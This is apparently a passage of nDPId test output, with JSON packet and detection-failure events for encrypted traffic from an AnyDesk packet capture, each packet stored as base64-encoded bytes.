AGPkSiwS5ATCfR+oPLlKA1KPnXuNcml3\/yJATMyBVELiot+c8WIE4I4UgAAiNZR3QHt8jK8TtTuxDmihrokaQI13kburqvPU6msRi+EmaNiHdOw647KlO1+wFsudP0yoSmnhN4wVZ1Lh2p6fvZGwJRk8VPEIm7sefvNggzR\/rCZdvOl\/8pEYae9hwhpVU3s+jobzJQzyV+cExyr6qYz6fKNeWWeQtCV3sfGJAe3TXE2eSEzARCYmiNvG0CE7M6NnVsovnQFTAnXzLZxGB6sHKZUb4sGNt83jRgGKriIQGC+nUqnV64PEWvDNJ2oEdkzdE0vyYZEJc+c96zXjJK5zcENEWhjqBCnKYiLsBQn\/JkDr1E6r1sOTu4ajp6bx8x24DOBMUB0o0rA+8hTLiH29E9eshrOSIY8kCVCQGJjmG+hgztCbvRLzwRoVCWE50s5bJ+7+afR1UoCOif8F6X5ALoiHzUM6hHdgQsFCdlpxlH5LlYmEd0GzO6IVzNfruxN72tepRLz41nMfP2ju3WrZfhpYGBwuAY2W3eFPYyXOusV0PeGIWRf\/R3YLmYhG342C0kXKN1Gb\/vdKRBMgTBtTCJvZLPM1IbnaRqPwXeOG6sqH34VCa4eThvdyHTxqL7U9OE4M5FkoR6fa+zexyhVGpMCbaB1d4bci\/6ay2UtIWjX3+PmaL49s39aL9+LUuUbepL5mG9bdE0doc9rBUDyZKlljSk75YFKXjzYCE3tLFY7yW\/clHywhDLsmntvEpAmp+cADp67AXtoV9iaxviAIabfw3j9z3J16mVh1O29mmKiVaD5hAmMiaDtnP9AtcQxUpSKR7LeLdF7dEWaV+88xaTNF+d6tVy\/FjV3Hn1VLLVksh0AqUXJtN0fkgXlX\/j3m8T44HN25sxvX4aWFdgU3yde3YMNugg4w9OYwltHf0PHfd4CgaWQq6w\/z+n4NUssNigN1ggadEGlV5OkDwLuOm+6V3hmu3NNTc1PanZel7brULMA67fDoT9U2t0C\/ez6LWFMJT3OMrOYMdXBqDaoykYB9xMLL0ghYpZUJ1HTuSAVrvEPTJb9iLVmm7\/jgxZeMGES7olKrXjr+y5yQpsT28IL+HfkNoOgFViYzgVqh8oubLkDLMCnw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1060,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +05152{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1061,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":513939,"pkt_caplen":3577,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3577,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAe71AAIAGAADAqAG7wKgBstOUG56PIfEIWcQpIFAYIBOExAAAFwMDDb5Z4hNO+msVnsCJHt1JQ0xa72UmGreNsEeP0CJxePawDtQFTssTsuQR7UqzXuzAefhk047fkLQlxqcbaKRiplC+dNsNfHLd3YVcRxFKhwsF4E8iYovFF\/VodZfex6qbr0qf29mi0HLFOXLoNUi75HR48l5uYu1N6AHC5a1BmY\/KdpBMIY3vGYZhAx\/KkKYQx3zVWb9dSAO9x70gPGkDN\/DD0S7raP7Ws\/tX4nbjPs1d8ifw1\/po9o4r9VaKHD\/aFX9VIWnN6+9U6PlcT8bejid9agWCo3zYOLuPtJ20bC7a5cktlQYsKyyNYF7SXmqYhX2jILt7lmN+Xa91iX3euCRtLNQL4j4mcgGcwFRWOLTuEklE7\/6xPna6KNrddaR52G2Xow3LRU6D7s0wi0L1cxWaUL9J4O60S9j7IJzBrBppAIsJtpoK89CD0C67zirIvyQQiAUroMcvOIxAaK+cQb+SSkwIN+AFWEvaj+5ICD3nTMZnzKYF\/5f6DUJ3rf1279Bwg7NS2CgKnLzRcTY\/IwSmGgVrc2W6v65f1HJb9MC6yoGACQShHeatd78Az++4crqy9USPkANv2D8NRI7MQjk2F7lZ\/LrSu7bQMAJIC7dK9CVDqzSqZBX26+KZPzmasnfYz6FxfWk5lhb5FDgP4b5MFj9PbGrLPGfuEUzponPYbJRT+hU\/V\/Jzp3DR+kKj6+stlRYH+aQyWyPKSVgGvBYEXtw+1y8XlM\/j9THMTDFR\/UQvOQEtg0FiWOJgmM5AldplxA1584JMI7olISbE9\/14cvFR7U5S0Teucn98xtA3ifHz5G9LFekXwugtLPUBN30kw0kkoSJfCTPNWRSmApJYcxabOg0geBrFZed5O7fsTjMzyz9cd+syKo0v93q1UkuyWilA0FJ\/upF51LqAdBEcGhJHsBPzasWh41QjsgNou1CWXc\/a4uUSWZlrz2NewXbuMzITXWMtUJVDf5zzAMsxa\/VwT2U\/nJHup1gZQNANDk0wX8OICMp4\/CcSIEQuku3EVbATMB0qEopLCpyKAfJ89yP2bEX6IsN3FW7\/ezOjybruTrgVn3N5ZqKIULyhPsIGvYZ7SDvcIWfiqwghe1yHOnlyVNxVHH0z4E8e+wI3iiJ9K4GUzfHgkmcC2sf++Vn2FgTwYWqpzZCrA\/OurfTrf9dzHpDwsXnVAcZRvmzPIMAGmU+y4XHIwIKonb\/NldKhVCBPFvcqTctWdbxDj9zl9CDyChladHFkQrw0Fo47FMUdAZcBzKqmwP+3dsg\/yCjknfqV0pRUnY06ZPX88xo40ymZR0hHZh5BD\/NPhdFy+lbmCWSpaU6fdxNFsGwFJvm2BYsRH\/lqG7wiM6D9Uqc8Kenq0k1DJExlKjRMRSuopwRwC2vq+sH3KGwELtTbhDwMR1LDSr6u7I3g4gVttwY0GKC6QDjUZEzcIkSOE4vCh+9sVqTV1n+7wEsIwXivXkVZWWSb0DqIM2CAKHG56wTw0AvxFsOHWodNzb3HkMpTOrJG0Xn1O1liQT8cfMORf6uziaznTVPUEJzzixwkP5DUPQxyS+mT1UWymDeoZebIV6vY804io5xRP8hGircy6KRXuB\/U20ZN8RXYDgNzjlHIu+KRb\/F7WWy7dWOE7oJ1ewUVI\/Ad\/UbSh\/oiBvXbh1SsSngw4agSzq\/5ohMZEIy7X1iR4XsUn\/YGCDq\/EOWiGlgCM1xiq8Mz1+7aSAq5Ii2Xs8JvuCnv9DibMSFiHV6si7iFmXE\/8uDbT+yPneG3yysNDMQr2R4CS3QokKAcdm9tA7iv7HCLymH60y+hBc7o62Q1Z5WPuCmvbC3CKvND96SWPcOClUpMcoPAeqaRE6FmLtUD5BRWEqVbY1svl1ao8NefTc9\/LlAJW2m9WBYqcNHvrmdKs74cnJR5gA0aY+VxE47Cl7xsmToSP5NYmmQRPURRFZX2AGF1B3V566NXbsNO8K1l63E5rAF5wur6Si7QPYxuClxkEKAlFBUpuercry3TEuj43zUjzQjYsZ\/Yd2YuGPinU7t6IACHBiBoGe0\/4k1Ra\/br3zTgYso+5adL3rLyKb8tid9Wn+BiXO2Mti5nBc2xCCr3AHbksP3sOJoJKFxpbFTVDc2AeYsKR\/nPEiTEf3dM4sqQHhGAax1FVxsKSWxEMcD8kL5a87rFyuA3oGfEzleygVcCY0zxLuXcF9I3B5lb\/vC6OUKcixq2NaNfVK0Tb4fjn07PDy9PTA1wy7PMwooggdqPtuEr\/neeQbJ+cq7Ll7WLWamnNe5WjXZTThPNvuKSz3nWEY+727EE3KdqsEd0MRe4dvwK6TlYebaagFLgjN7p30CYqvehMjc83CGjccrbUcmYfDPCodnbJmbvdrAnba2yfu4MyWRDuzMlyjJLWgo9xp1fVv0BQFFCOLWV2+EN\/YFjK+3uMuwdUYAyqYQbxyMpwO5kRdmafvNQpJXEslBZl8nItpSctp36r+hv7HgQtn10MrrqeXZ4q2wlKJZcArQuYsZi0HmqjHnkhc01dSYhLLGZIET4dC2lcjFFSgcubqm1AXqQ4NWXGnLQV2hn1eE18GM8STmnj\/2bnGgID0QUB86cNJIZmwDCr3KTzs6Qck80LLWKep8e8g8IxjdcSD0+unBhRU0l2l6RNYlKOkZxa1eF71QUh9ZMYhHSw1LfRwHlO9jItjpraDo26cxjFYjwvdBsYY6mw154WrIIk41PVUYcGMDvzJslVSii5suT4M\/SV\/3rCiJ13nlEz5dzk7bcM6CcqGfB9h74WkNv7NYyuo7zhrj6JQNTb+vQX3csXXnxs6TJWCAPwj\/loBDNiO85eMM6LJLHvDzl+kkrtUvqF3R0YyVOPCIizA4FOBd\/FiZF4O4Myzceh2Y32B25f6HxueFEkBbudt5MZNhMu8Y3kvqKA+MXQvyQ0jwV3\/lEw5FFCL3EmdWdPoh0RU5yLDG\/QqflZqQF\/T2nsi7DnrXEW09qwz0yzlkyRB3xDDEmHgYhd2e1kfv7z1\/B417uc9wrzmDAmOw+\/i4qBqIlEehVMuD1+FqqPRE8PfZ5fZgpR0nY9SwpkVal5njuuu1vQnJ9uAjEgwAbmqtAwWMpngnGzf45vq+s92vqk98tXTWOXuEEQS0v+V8uM3s9CetWFJpsJTWjBWmwSYTRfPuU5Hqp5WeYNkWCN464bVFRTh+mpiuUnHnzUofthDV1iWNC0nkEmmgO0JxNpq0rl0+DSMtfZ6lW3QgSi9HxJA4iFzulKSbYouSs4aYD1czg7YUahtPVV3qucDrO+Y9yUnfdUJgSO0gzGMsEkjiwUZY9SOssNlk8VSxPk6BwJudBvseaQFrD\/WE7spnrV7JLKdCw3jOMLYOH6KFb1\/BLjmSXPpHfrYGWUEpoYL5csVr6SaEWlwgy5OBM3TLNwfLbOqXM6ceilqJ7gxzR30Rr5InbwvxOznDWI\/ZTEmhetZcZx0sldVr2sg8Jywc1CopKAiP81D9ZkMr8UBbtYWXL0tIl3ztgsDQlMR4cXqeevGJLqQvLJKhE8h6XZ54kCCKJATZKmKoDnFkHT1\/+Q8jA8a9zEV074u6WbLQmdDww1I+WltVUatHsUmw4zk8n9BGwq4h7YIu0R6TO+nEGOMm0V35QtVSokx+ZllYhs32FGBnPSwdl+900e18b9NR4AIq\/JdR\/Z7XKgkoQD2tTUUxWMcceTAMWpLVtWbEiQ59e0q1CSTsnoBD4d+s48T+b3KUJlcPkIGQg2ALVqXpai7FAd2DLqipgv85Mypb5BCFZ2+OnJq0FuDziLRkuAMlqRnEU6dPrtNvGoZrYUN2rmHp\/w8tga6h8TbER\/ARRsLVVSf7eA+CP8wmcw7ohBzyr2P9tu\/JiRgzBASsx\/3ZMEJCAxGzO5ShQqs0ar6mHx8pYWGoQAruFl9xY2khGMqn2MgIdY7ev84Jzb52eQQeSYNJU6Rx0PMdv\/B9u0efJWDZEwjQbM\/etqYit1CtUc9Vqkq0OUGE16\/PDVscKsxEfWvJ2oobnocPevmKpTLmmHwEc16W6yw+w3ZYKuWyyVH43wUjoaExM2CJe3SI\/O1sjhSN0pf31zEV+Lo0QjHMAuWONSJAcJUMofqCwrIukCHZJeZGXgR8rkOJ74wHDkdLw4Ygy9lJkuDIL17DG7+fMdukdBhnIHLWHXo84ucn315zNwA48fbhP8Zac54E7x58IIvWjhBfW4gcfVssj0y2S2z39U1L711amLQ3ELtdhcJrww41HzR65HZMyQ473uHYakHses\/jIiV7uI68Kc4qw4wWMidkX6bVQH+fiYFABZ9iMiH2RXoFUqlUqORuAjqrSYZfqNU68YFQOVQ59s6mpj\/fyLZEHIb0KAqKyvHlUZ7vYSP6Z40D0lRTdchaD7tnI7Bsh5Sg2LnknVZmtdrBGwBNVEmh+BRQEm+CkDeAdRBYnTSmYWHFPK4rsm2ndmiCQiygrz2OotxKGwsVll6ihAU8GNYAq2yIvX5e6BQIt\/i5MhgwCTJcdmYhcJ\/NRa45O1COChlO9MuHay7KoCUyvbvRZzSN5EJHv7NNX6MO8IUq9NzmbKBgzZUdL+zoWzOlbtVRX8WLRF\/T51hCltJHxBH7YhdBnQkWb9nPmRkHwinjK0GJYePDp+LjHDAkPD5WR+Z7RZ5NKpGmV5EE3aEN\/oxl8djQFz3Af\/1Cw+vohxA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1061,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3543} +03059{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1070,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":540206,"pkt_caplen":2032,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2032,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAe8NAAIAGAADAqAG7wKgBstOUG56PIgYVWcQpT1AYIBOExAAAFwMDB7VZ4hNO+msVoUAYAf65huoxN9vkZCMmvkZ6e1\/G0228r45YUgwpl0AAw6GcwMTivYzlnCtLCRLAV+N1V2i2L8WE0fxzo7E1uKi1BTajKw1yYj3iPJgVExUhJRxcxvAH0DP48bvZGcgO7YWo8eMDyLti7IkNG7hGAeZ9ZJW87BuN292L7wLaFEOot8e1Jpb6IVZ7jk5KmPxAkvPDHhTwYfwYZ8BKP8pKUmtnbzZEuGdHn6oiTNs8GmIZCJ3EpGR2yy5sOfyoRLGXiUGS4rWi6sOAa3Wr\/NJTKNCzlaPO7s1bMD9pI98qSXJiAdHe5rdta9NKqkY9x8LkEbeR9YBREAaQNiTcXdUp\/jF1ijsQiLDm9CjntRv5bDm\/H2GMaTgGzwYBlvPCjy66H03S8wiYT1P\/QEh564cB2Cix5fn3kPZnD\/3\/vTgH\/xT6TLY9RrJIjB+ohxAsPXQFjhHwQm1cAaon9fMByrkrcLdopA+XLokoXXk+qwCPic1pVf3zxNmLMb57Bgb+ImwlYh8x8tLoL1Fhk9L7uyWB0K4SUhnr5Jy2zDWexi3mXCL1CmaX52YkeBN897kO6eYuv\/Nf0cK9KpKIFcLlN9rW7TWJFwdKC2x25klJJAtgjCScxbW3O9gUAond8SGel+r3Z4ngR72bvb9WMA1giox6z23AN37Rc4yuarw2cACfObw5UPra7kINsiTqvb2khaY6031sQJ6JiPv5haqMSn4+R69hTHXN5qoFN+\/oL3NzcEFnJsH9in1YiQeJOvM8K4+XXvJ29vyoS3ZcZtYRdvtpKUCz342b+DgwZe+NUkUGuKwlWINsX8pBV2Cf1zMJMgC6roZf4XWVBe6N4Hcdl\/BuNumNIEyLwvzx+UL0mRJe92YPUjC+NUPULcC5gQscyDTtK42FNIKBT36KNzDhCebtn9Xtv3O3d27E5gz1pqXeQ1Hhq71rlANTMTlUGmfeMarTpNSgPft0UzoA+\/T0GKPVJs5REYSEtyjUnnqC1H0vXf5zKRzI6ksLN9CpbiF9AGt5S116dpIIODnFF2rPuHPNGXTOAZsVtwuTH3dxOJv\/gu8nQdRhetvwASwjBCjyRxznSth1W7IiQNmZvY9+QuZduVL\/OJhOc+gHhqJG\/MKWkPKz5P8+OC+EMoWnrCAcDPJ6Va\/2epwKgj36iUl8GFEZvordjAAkAZW5wb7a24JLO03uNVHNtUSatEEwtqV5iDVgRBe1MlK27vWb9nLtL98qhUB1S1dBqKp61CMj17YjKi9xPGJwudtCvF+okFtxEGN7VwRY3PjD0gGvNU+WlOb5jBX7zga4DYfSqI+\/LsvOXuGjAk1k8M3FrSoNoW4vJB4OUWvv2F2SIe3s14dwbORGkDzM9k0GXJC94s4awnjZ4zOgSQD+6izgyQSAo34Bvne4LOY0utuZ8EkL3l4sSJwI8DIacCm6ipKG7se7aSLPHfPryOZqOZSgYtfEaZv201Z\/V6OV2riLSzxgTNZPNAwcQvPDSml5be\/NjMSkfgfK\/3RJOBsjmRuQcXhLa1kFyYhe5QdJ58E6nq\/TdBS+876+UV\/NOTzv24kV+A2gacQQu3hRAxvJkRJaP15utLOrWlZsbWU29RXlymKIcINSYTBqZJ2+\/1D6q8VnvcqUfgAw6RBAdgMBGpokcFbpUhdOrmVHGCjuxFeJGYjjmjX+hHRYZl7Lx+moERr09ocOkA4hVIBKaTLQTmy982mDFZ\/sw+SP9mqmC5I7Hw9j6hgmj7tvlYac0G+C4M5GXvDPJh\/u+7SHNu01+tGVhpaD\/V1yT5aBI3y87S6wwlkj4jLEUHbYZ7XwSWwAbKYr3JeqUTE3lURf0moNY5yp+f0VRcCeAtPaFzJw2z22pzxgf29jR9OVkD3byJDBHPrIuJeXsHXjpETJPnQGq3d7GtgWdfb71bPWH+9MxCAAn3pss4CJt7Qh5ymVPtnGuZuIah0yrW\/YSB7+YVH8aajAlXeDY4S4CH5KAXNzDw4KNalkNaMeeFwGlR\/ro+inz\/EZ+JiTrjOhkAacusOhk6fH93Oy9z7C11WbR9oMTwAIQM5Rpgul2Ijuf9U8TykGNP0Ze909PAs3LMxvTSiPw5UhMvapyOoBBFXM9V\/hpIECJQs6AP2o6A5gpTkPJCW3h8VCGr6r3a9lv3poAQ8WG7tCkqWgBOE5\/Xb2+nXZlEqASBbrO6\/Xx5K29OrasTCipN8t5W+epYUS0\/YVtHZMlOFZt4mUNyWQIOwrHvZWPf5PFJAi9TWRLXtqmOBAOqXu3A\/sGCzc534a7fuO9UfpMDRHI3i\/60NauFDg+K0sPo07h0YNtsTw+cszDU0a\/pkJpaCry5StQF\/dCnThFL7RJppFkRkvUN5zWNdk7Vl5IeTpssN3PGqMnu5QnQvtC+RP7+s3u3\/XhI8lKUeWh6YoVo2kw8oc1y\/Ys9MfwFCW+G1BYmlZg0ZhKqIddRdrIE+6YV7T9LYJK9RydYQLHVXZwcjX3pueYUbI1f4W4rwewNdfi274YWeA0HkPHQ+U4647bwftw4Xy4Hq0SxvuJkyZSCE5zZTwMg52ChAP+ZgZ2iLz+wNwrEUw\/4k2w7WAqciM4jQZuQTVNqCxIE\/3Jabze4ziJR7\/Yegofg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1070,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1998} +06041{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1074,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":541840,"pkt_caplen":4232,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4232,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAe8VAAIAGAADAqAG7wKgBstOUG56PIg3PWcQpT1AYIBOExAAAFwMDEE1Z4hNO+msVopTG\/\/+k3ZVys8gVp5suYYxaodYE\/XQTxTRdny\/QzxY1AqUC1Yzij93i2Si\/UMNMnY7BZxF6Thl9xnwVC7Ueks+sgr0+kRo0HSd\/O1gBDtnpcuy+n9M\/eaAfgZnThK7EeD7sxracTx2rF0H1avuAFuxFeVVGjoncE4OG9LObxCQqgNC3qqzb8gW+x9BhfkG93YjTqPFpq7QX87sq5RnT7atSTC3Ngox9+hd5qhjNbLEG06ck3Iwxf+w7BoJs9MyO5GoU+844FPexV38aFS+pqx0gw2gCNOSDaNXAiqO+8LAfk5YfcAzw6UpyIO1rXUrjd4\/LHzXqXjYpzwf\/q8jis1xk9uCBcACa9ug6bfn+cvpPOAlCVR8UUjo4vlIRG4S+4MBRe1svu\/iiCU93+GfKsH\/d68jc2i01cqcBM57w6QPN27sAkNLQOJwr\/Py4hd3A4YLkre9AeZKuQ\/nI7JO6n2XDE7r\/4LCj5zQoFtqk8\/Ih0kYWmocJF3olYAD9N6IuwdLnlpMOJkZmV7gIL\/oQ2Vu2eJ9QN\/DYGt9DIT\/hRxwTeAYKWBKKUDGkGCYVViMxp+O9cLgbPPi0xp+bG5i8vhKXY0kUi\/uxG0xxkvTbD+hQRuvza2lqkA+wTa0+WBEbpOIn9zXKiDEzHI5gcqYk+Raf5ly0Xjcdik4osw4ztln9q27yIxMsMhvZtuoVbIhwqTNaEVesqWpVcbDJU9L1LsSyM+MHuxze4zrt0cxPLgCzuBLRL29uA0Iuc6QaxPTDP3h5VJ1Fh3YF58oCebH5sJ5HCAwwmYkwNm398AsSJ6eF\/WdMH+d6v06P2rB30VAOyFxmgV7BZttcNFtnUpuFU6qaL8MGeBIEa1ximPuZoMI8Mr2r3z3+iQ8zCgMwHj6zst80jnSUaxbc52LCHnmUYAJcjFVWi41cC8Kl+EsCzXk3fKKnkdvTQ\/Mxdw6ubH4q1vkZB+N2kXh2Up4daLDpArwblKpttpRn3dTuLsobTcFbfr137uGaXVFBsChDk0beJ1n0TKxNAnLlbtqpmYrsltak4jiD3XI33xmORGvCWThBjfoXy+df0Zh7DIft2BW8ebtNBifbTfu7eeNBUVUTewDDcKR3Ko2juJPjy5Hf8osoL16yboXUX350HAgMD1oFbQHQwdORnhoO1QK2m9Si8py8GO48JS4Qv\/i0cY+omYfnp\/fuKJF6BdX0nrqjHO9sBv44\/SwdLtj\/g9TDWmLMkCo1qjAiLZYGpsobLwHdmL9FLrcylfdqQuWpAUT90XGzdtsHsGAqjCiudCQte0rJH5Np64wggrpeaiJfwrcIVT91sx\/QrIcNq\/XNZn99yk3L48k8fGiG41VUr2lWax9IJYfZxHgsdaUk46M4pUa0qFkjP9Hwqanvn3heuaEtfo0tMCFhB+GwF+UhFvfhIBHVjo7SRPoZWWxZ6MrxKTOJXbQyVpWYwwCoUvgG3tkVuG20GhTf+K6xBW0GC1x\/AC\/uutXBhfpnePMkPY+ISRM+SF4ECKhI1DoxetGjafT3QHl0dVbErCIt5zeZCnHgo\/As50ji7tSu7lqSkANnLXZvc\/eZI8qmf24XtUi+9Uqa1oY+QBvo7RwilzmsrOkbAA7\/EiZvOKSfppDbYCE7YvlaBB0yudq\/23L+0Scv2mzBcopnVAjGn1BBzOnQ6mlNdxJVA9vfQwxAWywsjKuwUiJY47DquhHorWGxnU3o9NMhfx3tklw41WFVgWPK8742FD1d+D5WULu4AcDyBsmtf+7leezQbu1\/XPDRLHLmweekWmtI5XOunCbv94EeXyrK2gqNC0R3S5gDhyypNnpMam9LzutRHwL8hHbdMWBDxG8Dxle0okIG+unC97SMcLx9NaKuSGNcduN1hpADhHprgPKjBdJ6v89Kt2NM\/11vWbZi+AXQdD8SLzIGHtz2FeTa+M7puFSFGM6KEE0fb5nGer1eOlkPi95s64dFVWnsOyid3FDvaxFmML2OoRgutxyPGCAztsOjSywAAK\/Lp9G4E0pgMSU3o5kMvEVbP8ikWXxEJO3i5mQ3PhCpkf212xqcfLLKog0vt4M6ny2xqCIDiW9si3\/edacEF9q3Arvqrxvz5qAfC3Bfi82rNOH\/6rmkzQXwy1DgOmDOGUHX\/ez1q8feKx+QqThvIR4j1S24zG5Edgw6ZB1ZRgHd5mqt5sDujYb3BQ3nMsIy0IiD2E4vR0Ij81Zo\/4l8fusxlYgjuPU7vhsJVmnu607V+cYHr+NRUAL58aEVdoY5uPMqdvKAgDAbAbakdZINF1mPlxWkrrbqUfJuCBM0YWNZWCPlj4vqV0kvPrP+98wVJFMQaOU7+jpMijLnymUNjksc5LBal2ur6CFNz7rBhqq7vAwg\/oH8wLrugD14jPxenE\/nLKhf2QyVuVD1j2BrgujzXewWgNONbvN97kRKHL4z4TQ9bABuAdOZZcH0VbCQHnylOkBV6fzw\/4DKbvwiZoKQvah+zLGqEIiSmlanwpB5PRf\/PidBNj2lmmMmUYdRQZI+6TlDiOo8IFSx011uDf3WUSP7iglungAKZVJnrXAuY0EDwHWw5uNWBU\/\/2C+ymTs5n+47umaApAnFSEeEuoFVntyj6RqKWba8khFtfM\/1y1AK5nBLfbUru383gvx9bZvEBa9Lt4cQYf2E4HgSaNRdcAHakK3Ib89YBCG2YZFfAd+2k9\/tn2HEgIBvM8khtY\/0ddzCQvSe6MYQ2qV8zzhSXp1B9TcV1HjYvN6rM8lUuVd+BXX3UfxzxNi7KThMQAla+OM54SM8y1MrRlTlZ7FY7myJX91539j5tpMZpphaAGd6m+1ZlnecOmS4mw1sF\/yaSULxv9iXDpDeQ\/GPeNbm7aSroSjx1EbXyA\/TS01xAhmW6iw4sXDqNeoizITNlsxV3d+2AlY\/BadKyq0g+8VbOx9jHN1F9xm7jMILH0JgqrBzfQSFTRVSRM+eq94XQjLajVXbf1ubbLtcbGyujrt1YAsQ1c6yXeGRwVgdnhmNZ7yZuGt\/lT6OmFavoz6IYl6bNdrdzhKGGo7KTajwdIa8tvsbEQ2YNhd\/bLdeid\/39pP8hjs\/Sqnk7l45GATphwtotpDSXC6HWIHCNy9R4qmLt1eGTgmxvq8gVVG5UsPaRDC\/mLOoNtIIL3lCIpetIlcctcuIxqGfSJ89PSX4w0ZhGXeW7IN5uDxxiwRSJK8E9ldakEwEJzokOCRus9oDYPkIFuhtUXJuQW+bLGKS4atZ4wbQZZa31zXIS78U83RAeI6eKfR8Z6isI6jZs8vjMsfWaN0OPHtA82xaNTTPimlJ3vgtDGNO31e+nxSqLhd7I4CtIO\/eW09pE0YX17Hyf9jAgfusyCQMPKWS8M\/Ft9soXGXjFBwF9fbhTcDwUcyxMF119aitXlx3XPNXlRO5eYgPXnxQsB8\/\/BaHBfVOMyrGAvlkTZHEeZXudbOKm0gZk8ezSrsD5ouWUu7acZkchqXBul5lCEk7u5pM1EHQaQiLwuOIP1h7HlZZt7tWjUPyXbLBBleu\/+yAgj+S4KpuhCo+hECBXM8f4oEwU3\/oyc0SOODT87c1\/6HBMipCjmOKVPCAZslWK+CHXOeoI1gRFQ3bpnNy3IwIIcFED079fGf6m1B904Lys3m\/uGVSxoQ\/hc1YWT\/7QlJY9x72DJ2elS\/FSn5w7VKVcU5HE2K3x93vAb5wU47EQZTek6n\/xI\/L0Cnps2OcPrDYdXKJQacPRjXEf\/hbNoYHZJnYa1q6Gc90BSrzAI92utCBw0QsxmQ3GV00mwrAPgUsA0u4AdhQawrw4HkR17uhZDjgtuHCJnA1P\/HvE4H7Z5g0ninkfhC7OPB6I4NSHa2bAovW7pRtplN5sMnPtp6jseLVYsd9sGCQa1uoDv0GsmfwyezkB+A52su7z6HnAiDd2XsBSqLspmhWoZA3NJBJh0MlhnpmkYkYWcO+Yfx0G\/ZCRAMBWo1f\/\/LGlIoY6ry8S44sk+XtbHmSEmfnVcWjf0r03pbVPbExyueAWrfWzzW\/o7U2zVmfydbdQ6GbGBDgbTJKnITIerFLYrzwISomrXo7AeL5ufgB7+OW9HCMFGi6zD6i4V8hTq9Pjlf2LQiroTGeTnI9u8i3NPWo7ZvC3nmqtQKv8\/gl1+c3lJKGluUL5jv8ZZ4vDIc8CazFtDXa8SfkQ7Xb\/ivU8Oqnz8kw8ThZ+f2HQFr+b\/SDpYZLbpkaqimI8fGzRiY0cdyQ674QYeAUAbGDLwiMlF5315sIE6qyINI32xxrUR5MgT7+LGHKP+k6Ue47dpSCTZzZlXqDRayqohoM1\/XLqmTcFsErcMHmGHqKYbuDYKyQWZ3byDjmWGujduMz5P1ooyytzEnzNA5Gm4Y5iHhN9u6nex9IhuJrQq3qdyzOfUL3Q0+PhMSLGw0Ef3Qk7MtCH2Jo3873PGv8er+tw30oNBWCjcUer7euaeGsQtZSJssE1W+VoYd9oQf4kubrUPSEJX1SIsVtPcQlHimjIZsGMIzatkJZHI5ESsgv5R3zNj1oquJoJQtnYct2wIhbkDUdhOgPIyByVUq8zIcUXnOCTYUHxinREfIj9OmZX37fsPD8p0XEne6f04jh+CYtt5LA3PrpfZnmLZ3ZQK\/j1Az++CCQsWi9QP1qsxLTHqn5s5aAxAvfXcNGTlXM4HdZj3cG5ZXUWIPxF7RE6PVBt86kBWVELkjRRkBSt+lm6A0BcyaXoKjuY5Ur0UWdPp4M0KPBGqhwlhyZhybPHTFgDt2a38eYN249gXGVEM5mq5mvTeXN6yZ1TfSYBWOilJyek\/HcHgG31L5IC7NZewC9b9ZZ5+w41blFmI+9xj+FMdASz0O1j4oTaxM2VfDGsbrqf7DCOgKWtQZyS0UR5cl\/3vqnGLKJOMj5YJZEvnrXEsWUvWHFRBUUpDoiLVWguEh6HI3exGZXCkm6vWQOlJUxewp0BUIhZZFSLb582Ce0Ab25gpomqjxj\/VEdiLae0YKAx6dTVUpG+yqAgnmZfXzRVeWwP3+BT402EaO3lFosT3Yx0soRMWn9XanG3DAaYfbWUcpR8P4UI\/UZAC92ngXC2Nm2vE3udF0dfszkn26ZszfbdaTPD9woOt33jsfkcaaqiPoYXIkwu+yjfKGHlrM08v5iJ42V3qyzwqhpTMgRVk\/Uvd0P08pPl9Si0u\/5+Krqf3tIqUJeWZk6YGKMJjP2Hm\/jP4TtE7Hkf6eW5XjAlCocCAM4o21lMhJdGdbM3mi2B54QNuJo7T2z8S+QqWaKweuQvYPGogy1dlO\/9QsJ3FUUh4gzv0km4dY1A5pnrSsWdWjK74xRXyeWUGeOEoGAhSnXF14yoQsPRH3BlFWkbbGrIzCjZzEZ38Hft5FHzpbh7BffJu9g9lhhIvk7g\/kd2+ucLLA3yhyR+klAQQmjWmy8lXy\/UI6zhlavvOBaVOQI9dAjjI+DaRCCGlQNyh3uKI56wQ5Lf9PYTmYp+JZIUZ3un6v2+Nq7nECokmln4ZGIRPeYIPs4oahNfVLioGxkoRF4fO72TaLRobESZqF80OQ="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1074,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4198} 